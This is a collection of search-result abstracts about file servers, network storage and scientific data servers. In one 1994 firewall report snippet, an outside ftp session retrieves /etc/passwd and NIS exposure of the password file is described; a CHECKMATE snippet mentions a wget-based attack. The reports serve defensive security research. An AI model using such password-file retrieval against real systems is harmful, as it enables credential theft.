Requirements for a network storage service

NASA Technical Reports Server (NTRS)

Kelly, Suzanne M.; Haynes, Rena A.

1992-01-01

Sandia National Laboratories provides a high performance classified computer network as a core capability in support of its mission of nuclear weapons design and engineering, physical sciences research, and energy research and development. The network, locally known as the Internal Secure Network (ISN), was designed in 1989 and comprises multiple distributed local area networks (LAN's) residing in Albuquerque, New Mexico and Livermore, California. The TCP/IP protocol suite is used for inner-node communications. Scientific workstations and mid-range computers, running UNIX-based operating systems, compose most LAN's. One LAN, operated by the Sandia Corporate Computing Directorate, is a general purpose resource providing a supercomputer and a file server to the entire ISN. The current file server on the supercomputer LAN is an implementation of the Common File System (CFS) developed by Los Alamos National Laboratory. Subsequent to the design of the ISN, Sandia reviewed its mass storage requirements and chose to enter into a competitive procurement to replace the existing file server with one more adaptable to a UNIX/TCP/IP environment. The requirements study for the network was the starting point for the requirements study for the new file server. The file server is called the Network Storage Services (NSS) and is requirements are described in this paper. The next section gives an application or functional description of the NSS. The final section adds performance, capacity, and access constraints to the requirements.

Optimal File-Distribution in Heterogeneous and Asymmetric Storage Networks

NASA Astrophysics Data System (ADS)

Langner, Tobias; Schindelhauer, Christian; Souza, Alexander

We consider an optimisation problem which is motivated from storage virtualisation in the Internet. While storage networks make use of dedicated hardware to provide homogeneous bandwidth between servers and clients, in the Internet, connections between storage servers and clients are heterogeneous and often asymmetric with respect to upload and download. Thus, for a large file, the question arises how it should be fragmented and distributed among the servers to grant "optimal" access to the contents. We concentrate on the transfer time of a file, which is the time needed for one upload and a sequence of n downloads, using a set of m servers with heterogeneous bandwidths. We assume that fragments of the file can be transferred in parallel to and from multiple servers. This model yields a distribution problem that examines the question of how these fragments should be distributed onto those servers in order to minimise the transfer time. We present an algorithm, called FlowScaling, that finds an optimal solution within running time {O}(m log m). We formulate the distribution problem as a maximum flow problem, which involves a function that states whether a solution with a given transfer time bound exists. This function is then used with a scaling argument to determine an optimal solution within the claimed time complexity.

48 CFR 1523.7002 - Waivers.

Code of Federal Regulations, 2011 CFR

2011-10-01

... ENVIRONMENTAL, CONSERVATION, OCCUPATIONAL SAFETY, AND DRUG-FREE WORKPLACE Energy-Efficient Computer Equipment 1523.7002 Waivers. (a) There are several types of computer equipment which technically fall under the... types of equipment: (1) LAN servers, including file servers; application servers; communication servers...

48 CFR 1523.7002 - Waivers.

Code of Federal Regulations, 2012 CFR

2012-10-01

... ENVIRONMENTAL, CONSERVATION, OCCUPATIONAL SAFETY, AND DRUG-FREE WORKPLACE Energy-Efficient Computer Equipment 1523.7002 Waivers. (a) There are several types of computer equipment which technically fall under the... types of equipment: (1) LAN servers, including file servers; application servers; communication servers...

48 CFR 1523.7002 - Waivers.

Code of Federal Regulations, 2010 CFR

2010-10-01

... ENVIRONMENTAL, CONSERVATION, OCCUPATIONAL SAFETY, AND DRUG-FREE WORKPLACE Energy-Efficient Computer Equipment 1523.7002 Waivers. (a) There are several types of computer equipment which technically fall under the... types of equipment: (1) LAN servers, including file servers; application servers; communication servers...

Hardware Assisted Stealthy Diversity (CHECKMATE)

DTIC Science & Technology

2013-09-01

applicable across multiple architectures. Figure 29 shows an example an attack against an interpreted environment with a Java executable. CHECKMATE can...Architectures ARM PPCx86 Java VM Java VMJava VM Java Executable Attack APPROVED FOR PUBLIC RELEASE; DISTRIBUTION UNLIMITED 33 a user executes “/usr/bin/wget...Server 1 - Administration Server 2 – Database ( mySQL ) Server 3 – Web server (Mongoose) Server 4 – File server (SSH) Server 5 – Email server

Assessment of feasibility of running RSNA's MIRC on a Raspberry Pi: a cost-effective solution for teaching files in radiology.

PubMed

Pereira, Andre; Atri, Mostafa; Rogalla, Patrik; Huynh, Thien; O'Malley, Martin E

2015-11-01

The value of a teaching case repository in radiology training programs is immense. The allocation of resources for putting one together is a complex issue, given the factors that have to be coordinated: hardware, software, infrastructure, administration, and ethics. Costs may be significant and cost-effective solutions are desirable. We chose Medical Imaging Resource Center (MIRC) to build our teaching file. It is offered by RSNA for free. For the hardware, we chose the Raspberry Pi, developed by the Raspberry Foundation: a small control board developed as a low cost computer for schools also used in alternative projects such as robotics and environmental data collection. Its performance and reliability as a file server were unknown to us. For the operational system, we chose Raspbian, a variant of Debian Linux, along with Apache (web server), MySql (database server) and PHP, which enhance the functionality of the server. A USB hub and an external hard drive completed the setup. Installation of software was smooth. The Raspberry Pi was able to handle very well the task of hosting the teaching file repository for our division. Uptime was logged at 100 %, and loading times were similar to other MIRC sites available online. We setup two servers (one for backup), each costing just below $200.00 including external storage and USB hub. It is feasible to run RSNA's MIRC off a low-cost control board (Raspberry Pi). Performance and reliability are comparable to full-size servers for the intended purpose of hosting a teaching file within an intranet environment.

Network Security and the NPS Internet Firewall.

DTIC Science & Technology

1994-09-16

NIS between clients and servers. The ypxfr service is used for trans- Network Information ferring the /etc/ passwd file from the master server to the...slave Service servers. If the NIS domain name is guessed, an outsider can get a copy of the /etc/ passwd file. Table 5: Network Services With Known...TCP ports 20 and 21), for the ftp network service: outside% ftp 131.120.50.151 ftp> get /etc/ passwd /tmp/passwd.inside (login process...) ftp> cd nttcp

R.E.D. Server: a web service for deriving RESP and ESP charges and building force field libraries for new molecules and molecular fragments.

PubMed

Vanquelef, Enguerran; Simon, Sabrina; Marquant, Gaelle; Garcia, Elodie; Klimerak, Geoffroy; Delepine, Jean Charles; Cieplak, Piotr; Dupradeau, François-Yves

2011-07-01

R.E.D. Server is a unique, open web service, designed to derive non-polarizable RESP and ESP charges and to build force field libraries for new molecules/molecular fragments. It provides to computational biologists the means to derive rigorously molecular electrostatic potential-based charges embedded in force field libraries that are ready to be used in force field development, charge validation and molecular dynamics simulations. R.E.D. Server interfaces quantum mechanics programs, the RESP program and the latest version of the R.E.D. tools. A two step approach has been developed. The first one consists of preparing P2N file(s) to rigorously define key elements such as atom names, topology and chemical equivalencing needed when building a force field library. Then, P2N files are used to derive RESP or ESP charges embedded in force field libraries in the Tripos mol2 format. In complex cases an entire set of force field libraries or force field topology database is generated. Other features developed in R.E.D. Server include help services, a demonstration, tutorials, frequently asked questions, Jmol-based tools useful to construct PDB input files and parse R.E.D. Server outputs as well as a graphical queuing system allowing any user to check the status of R.E.D. Server jobs.

Workload Characterization and Performance Implications of Large-Scale Blog Servers

DOE Office of Scientific and Technical Information (OSTI.GOV)

Jeon, Myeongjae; Kim, Youngjae; Hwang, Jeaho

With the ever-increasing popularity of social network services (SNSs), an understanding of the characteristics of these services and their effects on the behavior of their host servers is critical. However, there has been a lack of research on the workload characterization of servers running SNS applications such as blog services. To fill this void, we empirically characterized real-world web server logs collected from one of the largest South Korean blog hosting sites for 12 consecutive days. The logs consist of more than 96 million HTTP requests and 4.7 TB of network traffic. Our analysis reveals the followings: (i) The transfermore » size of non-multimedia files and blog articles can be modeled using a truncated Pareto distribution and a log-normal distribution, respectively; (ii) User access for blog articles does not show temporal locality, but is strongly biased towards those posted with image or audio files. We additionally discuss the potential performance improvement through clustering of small files on a blog page into contiguous disk blocks, which benefits from the observed file access patterns. Trace-driven simulations show that, on average, the suggested approach achieves 60.6% better system throughput and reduces the processing time for file access by 30.8% compared to the best performance of the Ext4 file system.« less

Wide Area Information Servers: An Executive Information System for Unstructured Files.

ERIC Educational Resources Information Center

Kahle, Brewster; And Others

1992-01-01

Describes the Wide Area Information Servers (WAIS) system, an integrated information retrieval system for corporate end users. Discussion covers general characteristics of the system, search techniques, protocol development, user interfaces, servers, selective dissemination of information, nontextual data, access to other servers, and description…

Autonomous mission planning and scheduling: Innovative, integrated, responsive

NASA Technical Reports Server (NTRS)

Sary, Charisse; Liu, Simon; Hull, Larry; Davis, Randy

1994-01-01

Autonomous mission scheduling, a new concept for NASA ground data systems, is a decentralized and distributed approach to scientific spacecraft planning, scheduling, and command management. Systems and services are provided that enable investigators to operate their own instruments. In autonomous mission scheduling, separate nodes exist for each instrument and one or more operations nodes exist for the spacecraft. Each node is responsible for its own operations which include planning, scheduling, and commanding; and for resolving conflicts with other nodes. One or more database servers accessible to all nodes enable each to share mission and science planning, scheduling, and commanding information. The architecture for autonomous mission scheduling is based upon a realistic mix of state-of-the-art and emerging technology and services, e.g., high performance individual workstations, high speed communications, client-server computing, and relational databases. The concept is particularly suited to the smaller, less complex missions of the future.

File Server-Based CD-ROM Networking: Using SCSI Express.

ERIC Educational Resources Information Center

McQueen, Howard

1992-01-01

Provides guidelines for evaluating SCSI Express Novell 386, a new product allowing CD-ROM drives to be attached to a Netware 3.11 file server, increasing CD-ROM networking capability. Specific limitations concerning software, hardware, and human resources are outlined, as well as its unique features and potential for future networking uses. (EA)

Economics of Computing: The Case of Centralized Network File Servers.

ERIC Educational Resources Information Center

Solomon, Martin B.

1994-01-01

Discusses computer networking and the cost effectiveness of decentralization, including local area networks. A planned experiment with a centralized approach to the operation and management of file servers at the University of South Carolina is described that hopes to realize cost savings and the avoidance of staffing problems. (Contains four…

I/O performance evaluation of a Linux-based network-attached storage device

NASA Astrophysics Data System (ADS)

Sun, Zhaoyan; Dong, Yonggui; Wu, Jinglian; Jia, Huibo; Feng, Guanping

2002-09-01

In a Local Area Network (LAN), clients are permitted to access the files on high-density optical disks via a network server. But the quality of read service offered by the conventional server is not satisfied because of the multiple functions on the server and the overmuch caller. This paper develops a Linux-based Network-Attached Storage (NAS) server. The Operation System (OS), composed of an optimized kernel and a miniaturized file system, is stored in a flash memory. After initialization, the NAS device is connected into the LAN. The administrator and users could configure the access the server through the web page respectively. In order to enhance the quality of access, the management of buffer cache in file system is optimized. Some benchmark programs are peformed to evaluate the I/O performance of the NAS device. Since data recorded in optical disks are usually for reading accesses, our attention is focused on the reading throughput of the device. The experimental results indicate that the I/O performance of our NAS device is excellent.

User-Friendly Data Servers for Climate Studies at the Asia-Pacific Data-Research Center (APDRC)

NASA Astrophysics Data System (ADS)

Yuan, G.; Shen, Y.; Zhang, Y.; Merrill, R.; Waseda, T.; Mitsudera, H.; Hacker, P.

2002-12-01

The APDRC was recently established within the International Pacific Research Center (IPRC) at the University of Hawaii. The APDRC mission is to increase understanding of climate variability in the Asia-Pacific region by developing the computational, data-management, and networking infrastructure necessary to make data resources readily accessible and usable by researchers, and by undertaking data-intensive research activities that will both advance knowledge and lead to improvements in data preparation and data products. A focus of recent activity is the implementation of user-friendly data servers. The APDRC is currently running a Live Access Server (LAS) developed at NOAA/PMEL to provide access to and visualization of gridded climate products via the web. The LAS also allows users to download the selected data subsets in various formats (such as binary, netCDF and ASCII). Most of the datasets served by the LAS are also served through our OPeNDAP server (formerly DODS), which allows users to directly access the data using their desktop client tools (e.g. GrADS, Matlab and Ferret). In addition, the APDRC is running an OPeNDAP Catalog/Aggregation Server (CAS) developed by Unidata at UCAR to serve climate data and products such as model output and satellite-derived products. These products are often large (> 2 GB) and are therefore stored as multiple files (stored separately in time or in parameters). The CAS remedies the inconvenience of multiple files and allows access to the whole dataset (or any subset that cuts across the multiple files) via a single request command from any DODS enabled client software. Once the aggregation of files is configured at the server (CAS), the process of aggregation is transparent to the user. The user only needs to know a single URL for the entire dataset, which is, in fact, stored as multiple files. CAS even allows aggregation of files on different systems and at different locations. Currently, the APDRC is serving NCEP, ECMWF, SODA, WOCE-Satellite, TMI, GPI and GSSTF products through the CAS. The APDRC is also running an EPIC server developed by PMEL/NOAA. EPIC is a web-based, data search and display system suited for in situ (station versus gridded) data. The process of locating and selecting individual station data from large collections (millions of profiles or time series, etc.) of in situ data is a major challenge. Serving in situ data on the Internet faces two problems: the irregularity of data formats; and the large quantity of data files. To solve the first problem, we have converted the in situ data into netCDF data format. The second problem was solved by using the EPIC server, which allows users to easily subset the files using a friendly graphical interface. Furthermore, we enhanced the capability of EPIC and configured OPeNDAP into EPIC to serve the numerous in situ data files and to export them to users through two different options: 1) an OPeNDAP pointer file of user-selected data files; and 2) a data package that includes meta-information (e.g., location, time, cruise no, etc.), a local pointer file, and the data files that the user selected. Option 1) is for those who do not want to download the selected data but want to use their own application software (such as GrADS, Matlab and Ferret) for access and analysis; option 2) is for users who want to store the data on their own system (e.g. laptops before going for a cruise) for subsequent analysis. Currently, WOCE CTD and bottle data, the WOCE current meter data, and some Argo float data are being served on the EPIC server.

The ISMARA client

PubMed Central

Ioannidis, Vassilios; van Nimwegen, Erik; Stockinger, Heinz

2016-01-01

ISMARA ( ismara.unibas.ch) automatically infers the key regulators and regulatory interactions from high-throughput gene expression or chromatin state data. However, given the large sizes of current next generation sequencing (NGS) datasets, data uploading times are a major bottleneck. Additionally, for proprietary data, users may be uncomfortable with uploading entire raw datasets to an external server. Both these problems could be alleviated by providing a means by which users could pre-process their raw data locally, transferring only a small summary file to the ISMARA server. We developed a stand-alone client application that pre-processes large input files (RNA-seq or ChIP-seq data) on the user's computer for performing ISMARA analysis in a completely automated manner, including uploading of small processed summary files to the ISMARA server. This reduces file sizes by up to a factor of 1000, and upload times from many hours to mere seconds. The client application is available from ismara.unibas.ch/ISMARA/client. PMID:28232860

Providing Internet Access to High-Resolution Lunar Images

NASA Technical Reports Server (NTRS)

Plesea, Lucian

2008-01-01

The OnMoon server is a computer program that provides Internet access to high-resolution Lunar images, maps, and elevation data, all suitable for use in geographical information system (GIS) software for generating images, maps, and computational models of the Moon. The OnMoon server implements the Open Geospatial Consortium (OGC) Web Map Service (WMS) server protocol and supports Moon-specific extensions. Unlike other Internet map servers that provide Lunar data using an Earth coordinate system, the OnMoon server supports encoding of data in Moon-specific coordinate systems. The OnMoon server offers access to most of the available high-resolution Lunar image and elevation data. This server can generate image and map files in the tagged image file format (TIFF) or the Joint Photographic Experts Group (JPEG), 8- or 16-bit Portable Network Graphics (PNG), or Keyhole Markup Language (KML) format. Image control is provided by use of the OGC Style Layer Descriptor (SLD) protocol. Full-precision spectral arithmetic processing is also available, by use of a custom SLD extension. This server can dynamically add shaded relief based on the Lunar elevation to any image layer. This server also implements tiled WMS protocol and super-overlay KML for high-performance client application programs.

Volume serving and media management in a networked, distributed client/server environment

NASA Technical Reports Server (NTRS)

Herring, Ralph H.; Tefend, Linda L.

1993-01-01

The E-Systems Modular Automated Storage System (EMASS) is a family of hierarchical mass storage systems providing complete storage/'file space' management. The EMASS volume server provides the flexibility to work with different clients (file servers), different platforms, and different archives with a 'mix and match' capability. The EMASS design considers all file management programs as clients of the volume server system. System storage capacities are tailored to customer needs ranging from small data centers to large central libraries serving multiple users simultaneously. All EMASS hardware is commercial off the shelf (COTS), selected to provide the performance and reliability needed in current and future mass storage solutions. All interfaces use standard commercial protocols and networks suitable to service multiple hosts. EMASS is designed to efficiently store and retrieve in excess of 10,000 terabytes of data. Current clients include CRAY's YMP Model E based Data Migration Facility (DMF), IBM's RS/6000 based Unitree, and CONVEX based EMASS File Server software. The VolSer software provides the capability to accept client or graphical user interface (GUI) commands from the operator's console and translate them to the commands needed to control any configured archive. The VolSer system offers advanced features to enhance media handling and particularly media mounting such as: automated media migration, preferred media placement, drive load leveling, registered MediaClass groupings, and drive pooling.

Interfacing a high performance disk array file server to a Gigabit LAN

NASA Technical Reports Server (NTRS)

Seshan, Srinivasan; Katz, Randy H.

1993-01-01

Our previous prototype, RAID-1, identified several bottlenecks in typical file server architectures. The most important bottleneck was the lack of a high-bandwidth path between disk, memory, and the network. Workstation servers, such as the Sun-4/280, have very slow access to peripherals on busses far from the CPU. For the RAID-2 system, we addressed this problem by designing a crossbar interconnect, Xbus board, that provides a 40MB/s path between disk, memory, and the network interfaces. However, this interconnect does not provide the system CPU with low latency access to control the various interfaces. To provide a high data rate to clients on the network, we were forced to carefully and efficiently design the network software. A block diagram of the system hardware architecture is given. In the following subsections, we describe pieces of the RAID-2 file server hardware that had a significant impact on the design of the network interface.

DOE Office of Scientific and Technical Information (OSTI.GOV)

Barnette, Daniel W.

eCo-PylotDB, written completely in Python, provides a script that parses incoming emails and prepares extracted data for submission to a database table. The script extracts the database server, the database table, the server password, and the server username all from the email address to which the email is sent. The database table is specified on the Subject line. Any text in the body of the email is extracted as user comments for the database table. Attached files are extracted as data files with each file submitted to a specified table field but in separate rows of the targeted database table.more » Other information such as sender, date, time, and machine from which the email was sent is extracted and submitted to the database table as well. An email is sent back to the user specifying whether the data from the initial email was accepted or rejected by the database server. If rejected, the return email includes details as to why.« less

Autoplot and the HAPI Server

NASA Astrophysics Data System (ADS)

Faden, J.; Vandegriff, J. D.; Weigel, R. S.

2016-12-01

Autoplot was introduced in 2008 as an easy-to-use plotting tool for the space physics community. It reads data from a variety of file resources, such as CDF and HDF files, and a number of specialized data servers, such as the PDS/PPI's DIT-DOS, CDAWeb, and from the University of Iowa's RPWG Das2Server. Each of these servers have optimized methods for transmitting data to display in Autoplot, but require coordination and specialized software to work, limiting Autoplot's ability to access new servers and datasets. Likewise, groups who would like software to access their APIs must either write thier own clients, or publish a specification document in hopes that people will write clients. The HAPI specification was written so that a simple, standard API could be used by both Autoplot and server implementations, to remove these barriers to free flow of time series data. Autoplot's software for communicating with HAPI servers is presented, showing the user interface scientists will use, and how data servers might implement the HAPI specification to provide access to their data. This will also include instructions on how Autoplot is used and installed desktop computers, and used to view data from the RBSP, Juno, and other missions.

Providing Internet Access to High-Resolution Mars Images

NASA Technical Reports Server (NTRS)

Plesea, Lucian

2008-01-01

The OnMars server is a computer program that provides Internet access to high-resolution Mars images, maps, and elevation data, all suitable for use in geographical information system (GIS) software for generating images, maps, and computational models of Mars. The OnMars server is an implementation of the Open Geospatial Consortium (OGC) Web Map Service (WMS) server. Unlike other Mars Internet map servers that provide Martian data using an Earth coordinate system, the OnMars WMS server supports encoding of data in Mars-specific coordinate systems. The OnMars server offers access to most of the available high-resolution Martian image and elevation data, including an 8-meter-per-pixel uncontrolled mosaic of most of the Mars Global Surveyor (MGS) Mars Observer Camera Narrow Angle (MOCNA) image collection, which is not available elsewhere. This server can generate image and map files in the tagged image file format (TIFF), Joint Photographic Experts Group (JPEG), 8- or 16-bit Portable Network Graphics (PNG), or Keyhole Markup Language (KML) format. Image control is provided by use of the OGC Style Layer Descriptor (SLD) protocol. The OnMars server also implements tiled WMS protocol and super-overlay KML for high-performance client application programs.

The World-Wide Web and Mosaic: An Overview for Librarians.

ERIC Educational Resources Information Center

Morgan, Eric Lease

1994-01-01

Provides an overview of the Internet's World-Wide Web (Web), a hypertext system. Highlights include the client/server model; Uniform Resource Locator; examples of software; Web servers versus Gopher servers; HyperText Markup Language (HTML); converting files; Common Gateway Interface; organizing Web information; and the role of librarians in…

QuakeSim Project Networking

NASA Astrophysics Data System (ADS)

Kong, D.; Donnellan, A.; Pierce, M. E.

2012-12-01

QuakeSim is an online computational framework focused on using remotely sensed geodetic imaging data to model and understand earthquakes. With the rise in online social networking over the last decade, many tools and concepts have been developed that are useful to research groups. In particular, QuakeSim is interested in the ability for researchers to post, share, and annotate files generated by modeling tools in order to facilitate collaboration. To accomplish this, features were added to the preexisting QuakeSim site that include single sign-on, automated saving of output from modeling tools, and a personal user space to manage sharing permissions on these saved files. These features implement OpenID and Lightweight Data Access Protocol (LDAP) technologies to manage files across several different servers, including a web server running Drupal and other servers hosting the computational tools themselves.

Near Real-Time Processing and Archiving of GPS Surveys for Crustal Motion Monitoring

NASA Astrophysics Data System (ADS)

Crowell, B. W.; Bock, Y.

2008-12-01

We present an inverse instantaneous RTK method for rapidly processing and archiving GPS data for crustal motion surveys that gives positional accuracy similar to traditional post-processing methods. We first stream 1 Hz data from GPS receivers over Bluetooth to Verizon XV6700 smartphones equipped with Geodetics, Inc. RTD Rover software. The smartphone transmits raw receiver data to a real-time server at the Scripps Orbit and Permanent Array Center (SOPAC) running RTD Pro. At the server, instantaneous positions are computed every second relative to the three closest base stations in the California Real Time Network (CRTN), using ultra-rapid orbits produced by SOPAC, the NOAATrop real-time tropospheric delay model, and ITRF2005 coordinates computed by SOPAC for the CRTN stations. The raw data are converted on-the-fly to RINEX format at the server. Data in both formats are stored on the server along with a file of instantaneous positions, computed independently at each observation epoch. The single-epoch instantaneous positions are continuously transmitted back to the field surveyor's smartphone, where RTD Rover computes a median position and interquartile range for each new epoch of observation. The best-fit solution is the last median position and is available as soon as the survey is completed. We describe how we used this method to process 1 Hz data from the February, 2008 Imperial Valley GPS survey of 38 geodetic monuments established by Imperial College, London in the 1970's, and previously measured by SOPAC using rapid-static GPS methods in 1993, 1999 and 2000, as well as 14 National Geodetic Survey (NGS) monuments. For redundancy, each monument was surveyed for about 15 minutes at least twice and at staggered intervals using two survey teams operating autonomously. Archiving of data and the overall project at SOPAC is performed using the PGM software, developed by the California Spatial Reference Center (CSRC) for the National Geodetic Survey (NGS). The importation of raw receiver data, site metadata and antenna height information is performed using PGM client software running on the same PDA running RTD Rover or laptop, and uploaded to the PGM server where the raw data are converted to RINEX format. The campaign information is then published online, where all of the campaign information can be accessed such as start and stop times, equipment information, RINEX and solution SINEX files, observer information and baseline information for network adjustments.

Who Goes There? Measuring Library Web Site Usage.

ERIC Educational Resources Information Center

Bauer, Kathleen

2000-01-01

Discusses how libraries can gather data on the use of their Web sites. Highlights include Web server log files, including the common log file, referrer log file, and agent log file; log file limitations; privacy concerns; and choosing log analysis software, both free and commercial. (LRW)

Operational Interoperable Web Coverage Service for Earth Observing Satellite Data: Issues and Lessons Learned

NASA Astrophysics Data System (ADS)

Yang, W.; Min, M.; Bai, Y.; Lynnes, C.; Holloway, D.; Enloe, Y.; di, L.

2008-12-01

In the past few years, there have been growing interests, among major earth observing satellite (EOS) data providers, in serving data through the interoperable Web Coverage Service (WCS) interface protocol, developed by the Open Geospatial Consortium (OGC). The interface protocol defined in WCS specifications allows client software to make customized requests of multi-dimensional EOS data, including spatial and temporal subsetting, resampling and interpolation, and coordinate reference system (CRS) transformation. A WCS server describes an offered coverage, i.e., a data product, through a response to a client's DescribeCoverage request. The description includes the offered coverage's spatial/temporal extents and resolutions, supported CRSs, supported interpolation methods, and supported encoding formats. Based on such information, a client can request the entire or a subset of coverage in any spatial/temporal resolutions and in any one of the supported CRSs, formats, and interpolation methods. When implementing a WCS server, a data provider has different approaches to present its data holdings to clients. One of the most straightforward, and commonly used, approaches is to offer individual physical data files as separate coverages. Such implementation, however, will result in too many offered coverages for large data holdings and it also cannot fully present the relationship among different, but spatially and/or temporally associated, data files. It is desirable to disconnect offered coverages from physical data files so that the former is more coherent, especially in spatial and temporal domains. Therefore, some servers offer one single coverage for a set of spatially coregistered time series data files such as a daily global precipitation coverage linked to many global single- day precipitation files; others offer one single coverage for multiple temporally coregistered files together forming a large spatial extent. In either case, a server needs to assemble an output coverage real-time by combining potentially large number of physical files, which can be operationally difficult. The task becomes more challenging if an offered coverage involves spatially and temporally un-registered physical files. In this presentation, we will discuss issues and lessons learned in providing NASA's AIRS Level 2 atmospheric products, which are in satellite swath CRS and in 6-minute segment granule files, as virtual global coverages. We"ll discuss the WCS server's on- the-fly georectification, mosaicking, quality screening, performance, and scalability.

An Autonomous Mobile Agent-Based Distributed Learning Architecture: A Proposal and Analytical Analysis

ERIC Educational Resources Information Center

Ahmed, Iftikhar; Sadeq, Muhammad Jafar

2006-01-01

Current distance learning systems are increasingly packing highly data-intensive contents on servers, resulting in the congestion of network and server resources at peak service times. A distributed learning system based on faded information field (FIF) architecture that employs mobile agents (MAs) has been proposed and simulated in this work. The…

LocalMove: computing on-lattice fits for biopolymers

PubMed Central

Ponty, Y.; Istrate, R.; Porcelli, E.; Clote, P.

2008-01-01

Given an input Protein Data Bank file (PDB) for a protein or RNA molecule, LocalMove is a web server that determines an on-lattice representation for the input biomolecule. The web server implements a Markov Chain Monte-Carlo algorithm with simulated annealing to compute an approximate fit for either the coarse-grain model or backbone model on either the cubic or face-centered cubic lattice. LocalMove returns a PDB file as output, as well as dynamic movie of 3D images of intermediate conformations during the computation. The LocalMove server is publicly available at http://bioinformatics.bc.edu/clotelab/localmove/. PMID:18556754

Installation and management of the SPS and LEP control system computers

NASA Astrophysics Data System (ADS)

Bland, Alastair

1994-12-01

Control of the CERN SPS and LEP accelerators and service equipment on the two CERN main sites is performed via workstations, file servers, Process Control Assemblies (PCAs) and Device Stub Controllers (DSCs). This paper describes the methods and tools that have been developed to manage the file servers, PCAs and DSCs since the LEP startup in 1989. There are five operational DECstation 5000s used as file servers and boot servers for the PCAs and DSCs. The PCAs consist of 90 SCO Xenix 386 PCs, 40 LynxOS 486 PCs and more than 40 older NORD 100s. The DSCs consist of 90 OS-968030 VME crates and 10 LynxOS 68030 VME crates. In addition there are over 100 development systems. The controls group is responsible for installing the computers, starting all the user processes and ensuring that the computers and the processes run correctly. The operators in the SPS/LEP control room and the Services control room have a Motif-based X window program which gives them, in real time, the state of all the computers and allows them to solve problems or reboot them.

Cardio-PACs: a new opportunity

NASA Astrophysics Data System (ADS)

Heupler, Frederick A., Jr.; Thomas, James D.; Blume, Hartwig R.; Cecil, Robert A.; Heisler, Mary

2000-05-01

It is now possible to replace film-based image management in the cardiac catheterization laboratory with a Cardiology Picture Archiving and Communication System (Cardio-PACS) based on digital imaging technology. The first step in the conversion process is installation of a digital image acquisition system that is capable of generating high-quality DICOM-compatible images. The next three steps, which are the subject of this presentation, involve image display, distribution, and storage. Clinical requirements and associated cost considerations for these three steps are listed below: Image display: (1) Image quality equal to film, with DICOM format, lossless compression, image processing, desktop PC-based with color monitor, and physician-friendly imaging software; (2) Performance specifications include: acquire 30 frames/sec; replay 15 frames/sec; access to file server 5 seconds, and to archive 5 minutes; (3) Compatibility of image file, transmission, and processing formats; (4) Image manipulation: brightness, contrast, gray scale, zoom, biplane display, and quantification; (5) User-friendly control of image review. Image distribution: (1) Standard IP-based network between cardiac catheterization laboratories, file server, long-term archive, review stations, and remote sites; (2) Non-proprietary formats; (3) Bidirectional distribution. Image storage: (1) CD-ROM vs disk vs tape; (2) Verification of data integrity; (3) User-designated storage capacity for catheterization laboratory, file server, long-term archive. Costs: (1) Image acquisition equipment, file server, long-term archive; (2) Network infrastructure; (3) Review stations and software; (4) Maintenance and administration; (5) Future upgrades and expansion; (6) Personnel.

Deploying Server-side File System Monitoring at NERSC

DOE Office of Scientific and Technical Information (OSTI.GOV)

Uselton, Andrew

2009-05-01

The Franklin Cray XT4 at the NERSC center was equipped with the server-side I/O monitoring infrastructure Cerebro/LMT, which is described here in detail. Insights gained from the data produced include a better understanding of instantaneous data rates during file system testing, file system behavior during regular production time, and long-term average behaviors. Information and insights gleaned from this monitoring support efforts to proactively manage the I/O infrastructure on Franklin. A simple model for I/O transactions is introduced and compared with the 250 million observations sent to the LMT database from August 2008 to February 2009.

HDF-EOS Web Server

NASA Technical Reports Server (NTRS)

Ullman, Richard; Bane, Bob; Yang, Jingli

2008-01-01

A shell script has been written as a means of automatically making HDF-EOS-formatted data sets available via the World Wide Web. ("HDF-EOS" and variants thereof are defined in the first of the two immediately preceding articles.) The shell script chains together some software tools developed by the Data Usability Group at Goddard Space Flight Center to perform the following actions: Extract metadata in Object Definition Language (ODL) from an HDF-EOS file, Convert the metadata from ODL to Extensible Markup Language (XML), Reformat the XML metadata into human-readable Hypertext Markup Language (HTML), Publish the HTML metadata and the original HDF-EOS file to a Web server and an Open-source Project for a Network Data Access Protocol (OPeN-DAP) server computer, and Reformat the XML metadata and submit the resulting file to the EOS Clearinghouse, which is a Web-based metadata clearinghouse that facilitates searching for, and exchange of, Earth-Science data.

78 FR 49586 - Self-Regulatory Organizations; Miami International Securities Exchange LLC; Notice of Filing and...

Federal Register 2010, 2011, 2012, 2013, 2014

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... Market Maker Standard quote server as a gateway for communicating eQuotes to MIAX. Because of the... connect the Limited Service Ports to independent servers that host their eQuote and purge functionality... same server for all of their Market Maker quoting activity. Currently, Market Makers in the MIAX System...

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Router Agent Technology for Policy-Based Network Management

NASA Technical Reports Server (NTRS)

Chow, Edward T.; Sudhir, Gurusham; Chang, Hsin-Ping; James, Mark; Liu, Yih-Chiao J.; Chiang, Winston

2011-01-01

This innovation can be run as a standalone network application on any computer in a networked environment. This design can be configured to control one or more routers (one instance per router), and can also be configured to listen to a policy server over the network to receive new policies based on the policy- based network management technology. The Router Agent Technology transforms the received policies into suitable Access Control List syntax for the routers it is configured to control. It commits the newly generated access control lists to the routers and provides feedback regarding any errors that were faced. The innovation also automatically generates a time-stamped log file regarding all updates to the router it is configured to control. This technology, once installed on a local network computer and started, is autonomous because it has the capability to keep listening to new policies from the policy server, transforming those policies to router-compliant access lists, and committing those access lists to a specified interface on the specified router on the network with any error feedback regarding commitment process. The stand-alone application is named RouterAgent and is currently realized as a fully functional (version 1) implementation for the Windows operating system and for CISCO routers.

16 CFR 803.10 - Running of time.

Code of Federal Regulations, 2011 CFR

2011-01-01

... effected to the server maintained by the FTC for the purpose of receiving electronic filings. (iii) For... server or the date on which delivery of the attachments is effected to the designated offices as provided...

CentiServer: A Comprehensive Resource, Web-Based Application and R Package for Centrality Analysis.

PubMed

Jalili, Mahdi; Salehzadeh-Yazdi, Ali; Asgari, Yazdan; Arab, Seyed Shahriar; Yaghmaie, Marjan; Ghavamzadeh, Ardeshir; Alimoghaddam, Kamran

2015-01-01

Various disciplines are trying to solve one of the most noteworthy queries and broadly used concepts in biology, essentiality. Centrality is a primary index and a promising method for identifying essential nodes, particularly in biological networks. The newly created CentiServer is a comprehensive online resource that provides over 110 definitions of different centrality indices, their computational methods, and algorithms in the form of an encyclopedia. In addition, CentiServer allows users to calculate 55 centralities with the help of an interactive web-based application tool and provides a numerical result as a comma separated value (csv) file format or a mapped graphical format as a graph modeling language (GML) file. The standalone version of this application has been developed in the form of an R package. The web-based application (CentiServer) and R package (centiserve) are freely available at http://www.centiserver.org/.

CentiServer: A Comprehensive Resource, Web-Based Application and R Package for Centrality Analysis

PubMed Central

